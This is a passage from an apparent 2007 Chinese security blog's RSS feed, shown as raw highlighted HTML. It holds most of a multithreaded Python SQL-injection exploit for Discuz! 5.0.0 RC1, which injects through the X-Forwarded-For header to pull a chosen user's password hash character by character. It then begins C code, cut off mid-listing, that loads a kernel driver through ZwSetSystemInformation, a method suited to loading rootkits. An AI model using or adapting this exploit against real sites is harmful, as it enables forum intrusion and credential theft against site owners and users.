#000000">:</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">zh-cn</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">,</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">Content-Type</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">application/x-www-form-urlencoded</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">,</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">User-Agent</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">Mozilla/4.0&nbsp;(compatible;&nbsp;MSIE&nbsp;6.0;&nbsp;Windows&nbsp;NT&nbsp;5.1;&nbsp;SV1;&nbsp;Maxthon)</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">,</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">Connection</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">Keep-Alive</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">,</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">Cache-Control</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">no-cache</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">,</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">X-Forwarded-For</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">:query,</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">Cookie</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">cdb_sid=70KRjS;&nbsp;cdb_cookietime=2592000</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;data&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800000">"</span><span style="COLOR: #800000">formhash=6a49b97f&amp;referer=discuz.php&amp;loginmode=&amp;styleid=&amp;cookietime=2592000&amp;loginfield=username&amp;username=test&amp;password=123456789&amp;questionid=0&amp;answer=&amp;loginsubmit=%E6%8F%90+%C2%A0+%E4%BA%A4</span><span style="COLOR: #800000">"</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">print&nbsp;header</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">sys.exit(1)</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;httplib.HTTPConnection(realurl[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">])<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http.request(</span><span style="COLOR: #800000">"</span><span style="COLOR: #800000">POST</span><span style="COLOR: #800000">"</span><span style="COLOR: #000000">,&nbsp;path&nbsp;</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800000">"</span><span style="COLOR: #800000">logging.php?action=login&amp;</span><span style="COLOR: #800000">"</span><span style="COLOR: #000000">,data&nbsp;,&nbsp;header)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sleep(</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;response&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;http.getresponse()<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;re1&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;response.read()<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;re1.find(</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">SELECT</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">:<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">print</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">[-]&nbsp;Unvalnerable&nbsp;host</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">print</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">[-]&nbsp;Exit..</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sys.exit(</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">elif</span><span style="COLOR: #000000">&nbsp;re1.find(</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">ip3</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">:<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;password[int(num)]&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;chr(i)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">print&nbsp;'[+]&nbsp;password&nbsp;'&nbsp;+&nbsp;num&nbsp;+&nbsp;':&nbsp;'&nbsp;+&nbsp;chr(i)</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http.close()<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sleep(</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">break</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">print&nbsp;re1</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">print&nbsp;'-----------------------------------------------'</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http.close()<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sleep(</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">def</span><span style="COLOR: #000000">&nbsp;main&nbsp;():<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">print</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">Discuz!&nbsp;5.0.0&nbsp;RC1&nbsp;SQL&nbsp;injection&nbsp;exploit&nbsp;(MultiThread&nbsp;Version)</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">print</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">Codz&nbsp;by&nbsp;wofeiwo&nbsp;wofeiwo[0x40]gmail[0x2C]com\n</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;len(sys.argv)&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">3</span><span style="COLOR: #000000">:<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;url&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;urlparse(sys.argv[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">])<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;url[</span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]&nbsp;</span><span style="COLOR: #000000">!=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">/</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">:<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;u&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;url[</span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">]&nbsp;</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">/</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">else</span><span style="COLOR: #000000">:&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;u&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;url[</span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">]<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">else</span><span style="COLOR: #000000">:<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">print</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800000">"</span><span style="COLOR: #800000">Usage:&nbsp;%s&nbsp;&lt;url&gt;&nbsp;&lt;uid&gt;</span><span style="COLOR: #800000">"</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">%</span><span style="COLOR: #000000">&nbsp;sys.argv[0]<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">print</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800000">"</span><span style="COLOR: #800000">Example:&nbsp;%s&nbsp;http://127.0.0.1/dz/&nbsp;1</span><span style="COLOR: #800000">"</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">%</span><span style="COLOR: #000000">&nbsp;sys.argv[0]<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sys.exit(0)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">print</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">[+]&nbsp;Connect&nbsp;%s</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">%</span><span style="COLOR: #000000">&nbsp;url[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">print</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">[+]&nbsp;Begin&nbsp;threads<img src="http://www.phpweblog.net/Images/dot.gif"></span><span style="COLOR: #800000">'</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">print</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">[+]&nbsp;Plz&nbsp;wait&nbsp;a&nbsp;long&nbsp;long&nbsp;time<img src="http://www.phpweblog.net/Images/dot.gif"></span><span style="COLOR: #800000">'</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">for</span><span style="COLOR: #000000">&nbsp;a&nbsp;</span><span style="COLOR: #0000ff">in</span><span style="COLOR: #000000">&nbsp;range(</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">33</span><span style="COLOR: #000000">)&nbsp;:<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;thread&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;creatthread(str(a),&nbsp;url,&nbsp;u)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;thread.start()<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">while</span><span style="COLOR: #000000">&nbsp;threading.activeCount()&nbsp;</span><span style="COLOR: #000000">!=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">:&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">continue</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">else</span><span style="COLOR: #000000">:<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sys.stdout.write(&nbsp;</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">[+]&nbsp;The&nbsp;uid=</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">&nbsp;sys.argv[</span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">]&nbsp;</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">&nbsp;password&nbsp;hash&nbsp;is:&nbsp;</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">&nbsp;)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">for</span><span style="COLOR: #000000">&nbsp;n&nbsp;</span><span style="COLOR: #0000ff">in</span><span style="COLOR: #000000">&nbsp;range(</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">,&nbsp;</span><span style="COLOR: #000000">33</span><span style="COLOR: #000000">)&nbsp;:<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sys.stdout.write(password[n])<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sys.stdout.write(</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">\n[+]&nbsp;Finished&nbsp;\n</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">__name__</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">__main__</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">:&nbsp;main()<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span></div>
<img src ="http://www.phpweblog.net/GaRY/aggbug/1239.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2007-05-22 16:12 <a href="http://www.phpweblog.net/GaRY/archive/2007/05/22/1239.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>使用ZwSetSystemInformation加载驱动</title><link>http://www.phpweblog.net/GaRY/archive/2007/05/08/Load_Driver_With_ZwSetSystemInformation.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Tue, 08 May 2007 12:54:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2007/05/08/Load_Driver_With_ZwSetSystemInformation.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/1188.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2007/05/08/Load_Driver_With_ZwSetSystemInformation.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/1188.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/1188.html</trackback:ping><description><![CDATA[<p>&nbsp;</p>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #008000">#</span><span style="COLOR: #008000">include&nbsp;&lt;windows.h&gt;&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">include&nbsp;&lt;stdio.h&gt;&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">define&nbsp;NT_SUCCESS(Status)&nbsp;((NTSTATUS)(Status)&nbsp;&gt;=&nbsp;0)&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">define&nbsp;SystemLoadAndCallImage&nbsp;38&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>typedef&nbsp;struct&nbsp;_UNICODE_STRING&nbsp;{&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;USHORT&nbsp;Length;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;USHORT&nbsp;MaximumLength;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;PVOID&nbsp;Buffer;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}&nbsp;UNICODE_STRING</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">PUNICODE_STRING;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>typedef&nbsp;unsigned&nbsp;long&nbsp;NTSTATUS;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>typedef&nbsp;struct&nbsp;_SYSTEM_LOAD_AND_CALL_IMAGE&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>{&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;UNICODE_STRING&nbsp;ModuleName;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}&nbsp;SYSTEM_LOAD_AND_CALL_IMAGE</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">PSYSTEM_LOAD_AND_CALL_IMAGE;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>typedef&nbsp;DWORD&nbsp;(</span><span style="COLOR: #0000ff">CALLBACK</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">&nbsp;ZWSETSYSTEMINFORMATION)(DWORD</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;PVOID</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;ULONG);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>ZWSETSYSTEMINFORMATION&nbsp;ZwSetSystemInformation;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>typedef&nbsp;DWORD&nbsp;(</span><span style="COLOR: #0000ff">CALLBACK</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">&nbsp;RTLINITUNICODESTRING)(PUNICODE_STRING</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">PCWSTR&nbsp;);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>RTLINITUNICODESTRING&nbsp;RtlInitUnicodeString;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>typedef&nbsp;DWORD&nbsp;(</span><span style="COLOR: #0000ff">CALLBACK</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">&nbsp;RTLANSISTRINGTOUNICODESTRING)(PVOID</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;PVOID</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">DWORD);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>RTLANSISTRINGTOUNICODESTRING&nbsp;RtlAnsiStringToUnicodeString;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>int&nbsp;main(int&nbsp;argc</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">argv[])<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>{&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;SYSTEM_LOAD_AND_CALL_IMAGE&nbsp;GregsImage;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;UNICODE_STRING&nbsp;TmpBuff;<br><img 